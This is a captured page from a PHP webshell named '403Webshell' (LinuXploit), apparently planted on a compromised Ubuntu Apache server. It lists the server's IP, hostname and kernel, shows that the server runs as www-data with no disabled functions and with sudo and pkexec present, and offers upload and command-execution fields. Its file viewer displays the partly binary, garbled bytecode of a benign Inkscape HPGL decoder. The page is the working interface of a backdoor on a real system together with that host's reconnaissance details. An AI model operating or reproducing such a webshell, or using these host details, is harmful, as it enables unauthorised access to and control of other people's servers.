403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/hpgl_decoder.cpython-310.pyc
o

5�a�@s@ddlmZddlZddlmZddlmZGdd�de�ZdS)�)�unicode_literalsN)�
inkex_gettext)�SvgOutputMixinc@s$eZdZdd�Zdd�Zdd�ZdS)�hpglDecodercCsN||_||_|jd|_|jd|_d|_td�|_td�|_	i|_
d|_dS)z options:
                "resolutionX":float
                "resolutionY":float
                "showMovements":bool
        gffffff9@��	MovementszPen )g��r@N)�
hpglString�options�resolutionX�scaleX�resolutionY�scaleY�warning�_�
textMovements�
textPenNumber�layers�oldCoordinates)�selfr	r
�r�./usr/share/inkscape/extensions/hpgl_decoder.py�__init__s


zhpglDecoder.__init__cCs<d}|jdddd�}|��}|j�dd�|jjr%|�t�|j	��|j
d<|j�d�}t
|�dkr5td	��|D]a}|��d
kr�|dd�d
ksW|dd�dksW|dd�dkrXq7|dd�dkrit|dd��}q7|dd�dkr~|�||dd�dd�q7|dd�dkr�|�||dd�|dd�q7d|_q7||jfS)z'Generate an svg document from hgpl datarg@j@r�mm)�width�height�unitzinkscape:document-units�;��NO_HPGL_DATArN��IN�FS�VS�SP�PUT�PD�F�UNKNOWN_COMMANDS)�get_template�getroot�	namedview�setr
�
showMovements�add�inkex�Layerrrr	�split�len�	Exception�strip�int�parameters_to_pathr)r�actual_layer�doc�svg�	hpgl_data�commandrrr�get_svg-s,0�
zhpglDecoder.get_svgc
Cs*|���d�}|r�t|�ddkr�t|�D]#\}}|ddkr+tt|�|j�||<qtdt|�|j�||<q|rA|jj	r�|r�||j
vr[|jt|d�}|�t
j�|��|j
|<d|jd|jdd�|�f}d|rpdnd	d
}	|j
|�t
j||	d��t|d�t|d
�f|_dSdSdS)z"split params and sanity check them�,r rrr'zM %f,%f L %szstroke:#�ff0000�000000z; stroke-width:0.2; fill:none;)�d�style������N)r4r1r2�	enumerate�str�floatrrr
r-rrr.r/r0�newr�join�PathElement)
rr9�
parameters�layerNum�isPU�i�param�label�pathrArrrr6Ps
 �zhpglDecoder.parameters_to_pathN)�__name__�
__module__�__qualname__rr<r6rrrrrs#r)	�
__future__rr/�inkex.localizationrr�
inkex.baserrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit